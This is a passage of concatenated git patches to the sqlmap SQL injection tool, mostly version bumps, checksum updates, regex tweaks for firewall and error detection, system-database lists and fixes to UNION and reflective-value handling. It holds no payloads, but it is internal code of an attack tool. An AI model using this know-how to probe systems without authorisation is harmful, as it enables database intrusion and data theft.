d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -7cf76d3f706a313afbcf14dcb9149db91c0a3fe20ab15e1263ef4990815957d4 lib/core/settings.py +0a050222e8a6c9779c081618e70afcb96d5da74cfed6c05f4ce6c9d8d0332658 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 390a7c0a5ba..7c4bdc0c950 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.10" +VERSION = "1.9.7.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -103,7 +103,7 @@ GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" # Regular expression used to detect errors in fuzz(y) UNION test -FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error" +FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|converting|failed|error|unexpected" # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 From 48d717d08f05e236413a9c4d1c05a681e890354c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 26 Jul 2025 13:26:03 +0200 Subject: [PATCH 207/853] Minor improvements --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 32 ++++++++++++++++---------------- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 716e51a3b5b..ee5a654ddbf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -0a050222e8a6c9779c081618e70afcb96d5da74cfed6c05f4ce6c9d8d0332658 lib/core/settings.py +c7a663655a94b89e0c56a2254c4e22208f1679254efea763e7c0e914c095674a lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7c4bdc0c950..ab658e6d35a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.11" +VERSION = "1.9.7.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -103,7 +103,7 @@ GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" # Regular expression used to detect errors in fuzz(y) UNION test -FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|converting|failed|error|unexpected" +FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected" # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 @@ -142,13 +142,13 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0" # Regular expression used for extracting content from "textual" tags -TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" +TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" # Regular expression used for recognition of generic "your ip has been blocked" messages -BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)" +BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block\s?list|firewall)" # Dumping characters used in GROUP_CONCAT MySQL technique CONCAT_ROW_DELIMITER = ',' @@ -264,16 +264,16 @@ IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) # DBMS system databases -MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB") -MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") -PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") +MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource") +MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo") +PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") -ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") +ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") -SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") -DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") +SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") +DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") @@ -430,7 +430,7 @@ META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' # Regular expression used for parsing Javascript redirect request -JAVASCRIPT_HREF_REGEX = r'\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() diff --git a/lib/core/settings.py b/lib/core/settings.py index 411fda80458..9e6de5dc539 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.2" +VERSION = "1.9.12.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -941,6 +941,7 @@ } th{ font-size:12px; + cursor:pointer; } """ From d89a0bb9df852eb35e2f7bf5d5ed62631991e4a4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 22 Dec 2025 12:22:46 +0100 Subject: [PATCH 244/853] Patch for #5994 --- data/txt/sha256sums.txt | 4 ++-- lib/controller/checks.py | 17 ++++++++++------- lib/core/settings.py | 2 +- 3 files changed, 13 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 287ecb96c25..75becba5407 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/vulnserver/__init__.py eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserver/vulnserver.py 96a39b4e3a9178e4e8285d5acd00115460cc1098ef430ab7573fc8194368da5c lib/controller/action.py -c060567ff0430f2ec915bf8abec8d632a52b5cb8a75a88984e6065a0feedcf44 lib/controller/checks.py +16487b3d984b9020cc68c0e4e079759a8990d05173f2496f7de30643ac772fe2 lib/controller/checks.py 34e9cf166e21ce991b61ca7695c43c892e8425f7e1228daec8cadd38f786acc6 lib/controller/controller.py 49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -ce4a0cbead548dee15bf60a1545fa9c8092f989eb31d4fba269b5a2c0cf47d23 lib/core/settings.py +cc85a81cf0cadda64bd459c091f6a7640a154285b5b8ecbaebe5920babeaff31 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 49b4c800d16..1a9e1ebd49e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1134,15 +1134,18 @@ def _(page): if conf.beep: beep() - for match in re.finditer(FI_ERROR_REGEX, page or ""): - if randStr1.lower() in match.group(0).lower(): - infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) - logger.info(infoMsg) + try: + for match in re.finditer(FI_ERROR_REGEX, page or ""): + if randStr1.lower() in match.group(0).lower(): + infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) - if conf.beep: - beep() + if conf.beep: + beep() - break + break + except (SystemError, RuntimeError) as ex: + logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex)) kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 9e6de5dc539..df1123dc502 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.3" +VERSION = "1.9.12.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c62dd8511edb8da712a523a107a3466c0c975e38 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 23 Dec 2025 00:01:41 +0100 Subject: [PATCH 245/853] Fixes #5995 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 19 +++++++++++++++---- 3 files changed, 18 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 75becba5407..5c78d133d3a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -cc85a81cf0cadda64bd459c091f6a7640a154285b5b8ecbaebe5920babeaff31 lib/core/settings.py +7c88194b2da2d68dfd2fffede71bbb0131a4882a83cdbd53ddc800d7f1981dbb lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -240,7 +240,7 @@ d20798551d141b3eb0b1c789ee595f776386469ac3f9aeee612fd7a5607b98cd lib/techniques 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/techniques/__init__.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/techniques/union/__init__.py dca6a14d7e30f8d320cc972620402798b493528a0ad7bd98a7f38327cea04e20 lib/techniques/union/test.py -4a866eefe165a541218eb71926a49f65ac13505b88857624b3759970c5069451 lib/techniques/union/use.py +9c57e5467c295e10356f457d7a95a652602e6ef09566ab1346fa23519fdf1b3b lib/techniques/union/use.py e41d96b1520e30bd4ce13adfcf52e11d3a5ea75c0b2d7612958d0054be889763 lib/utils/api.py af67d25e8c16b429a5b471d3c629dc1da262262320bf7cd68465d151c02def16 lib/utils/brute.py 828940a8eefda29c9eb271c21f29e2c4d1d428ccf0dcc6380e7ee6740300ec55 lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index df1123dc502..704bd525468 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.4" +VERSION = "1.9.12.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index eab12ab5217..c5bc8323486 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -107,12 +107,23 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): for _page in (page or "", (page or "").replace('\\"', '"')): if Backend.isDbms(DBMS.MSSQL): output = extractRegexResult(r"%s(?P.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + if output: try: - retVal = "" - fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P[^}]+)}", output)) - for row in json.loads(output): - retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop) + retVal = None + output_decoded = htmlUnescape(output) + json_data = json.loads(output_decoded, object_pairs_hook=OrderedDict) + + if not isinstance(json_data, list): + json_data = [json_data] + + if json_data and isinstance(json_data[0], dict): + fields = list(json_data[0].keys()) + + if fields: + retVal = "" + for row in json_data: + retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop) except: retVal = None else: From dbf5daf78871e74e296b6604f5fdec337f737459 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 24 Dec 2025 16:16:51 +0100 Subject: [PATCH 246/853] Bug fix with special case of reflective values in error-based results --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 9 +++++++++ lib/core/settings.py | 2 +- 3 files changed, 12 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5c78d133d3a..95a9c6562c8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py -ebf33ba2d4fa727931ab21c61b6c65b2e6cb41c54595caed2ec5153f8776a23a lib/core/common.py +d81080a7223e3d2ffd2a063f7c5b49ab9f25294ed70a0fbdf42d0c0df3551bb3 lib/core/common.py d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py 463005de14642fef4251c951c9b24ec8d456f67f0cd98a9f4d6add281ccbb775 lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -7c88194b2da2d68dfd2fffede71bbb0131a4882a83cdbd53ddc800d7f1981dbb lib/core/settings.py +551381bbeabdde59537b6536d0b778c35f669c752bfb1037f233d7c250684869 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 939e6e9e4cf..e315a8b03d0 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -170,6 +170,7 @@ from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD +from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import STDIN_PIPE_DASH @@ -4149,6 +4150,11 @@ def _(value): payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) + # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)") + preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content) + if preserve: + content = content.replace(preserve, REPLACEMENT_MARKER) + if regex != payload: if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) @@ -4219,6 +4225,9 @@ def _thread(regex): debugMsg = "turning off reflection removal mechanism (for optimization purposes)" logger.debug(debugMsg) + if preserve and retVal: + retVal = retVal.replace(REPLACEMENT_MARKER, preserve) + except (MemoryError, SystemError): kb.reflectiveMechanism = False if not suppressWarning: diff --git a/lib/core/settings.py b/lib/core/settings.py index 704bd525468..c3100ad7a8f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.5" +VERSION = "1.9.12.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From af8742e882a5b97d0a1282f4618376230fd97ec6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 24 Dec 2025 23:13:52 +0100 Subject: [PATCH 247/853] Minor patch for Firebird --- data/txt/sha256sums.txt | 4 ++-- data/xml/queries.xml | 3 ++- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 95a9c6562c8..f6b516fc95d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -83,7 +83,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -95b7464b1a7b75e2b462d73c6cca455c13b301f50182a8b2cd6701cdcb80b43e data/xml/queries.xml +e6761589b8c33c11d0a3d65ff2ee8579515f4ce3c5614ecb90c1faea451a9c0b data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -551381bbeabdde59537b6536d0b778c35f669c752bfb1037f233d7c250684869 lib/core/settings.py +426ae23bf138273edc5241f923fc161c13f5517666c8f2162ebbf3a0b48d6ebf lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 37a4b0c2a6e..14b012db311 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -417,7 +417,8 @@ - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index c3100ad7a8f..91763d82d77 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.6" +VERSION = "1.9.12.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 60d145ab6b7042049aaaccab1799693b7cf573cc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 01:04:41 +0100 Subject: [PATCH 248/853] Implementing support for v2.x for H2 --- data/txt/sha256sums.txt | 8 ++++---- data/xml/queries.xml | 8 ++++---- lib/core/settings.py | 2 +- plugins/dbms/h2/fingerprint.py | 4 ++++ plugins/generic/users.py | 2 ++ 5 files changed, 15 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f6b516fc95d..8188d331b8e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -83,7 +83,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -e6761589b8c33c11d0a3d65ff2ee8579515f4ce3c5614ecb90c1faea451a9c0b data/xml/queries.xml +dd0ee0fac1a4f7fdbecc8fcceb0a1a4e2d15cec3847198740a1994851c56ad27 data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -426ae23bf138273edc5241f923fc161c13f5517666c8f2162ebbf3a0b48d6ebf lib/core/settings.py +b1b416ae195be51eadd8f31be271f5774eed1dc8d90cb5e7421d2f60ca9ff26f 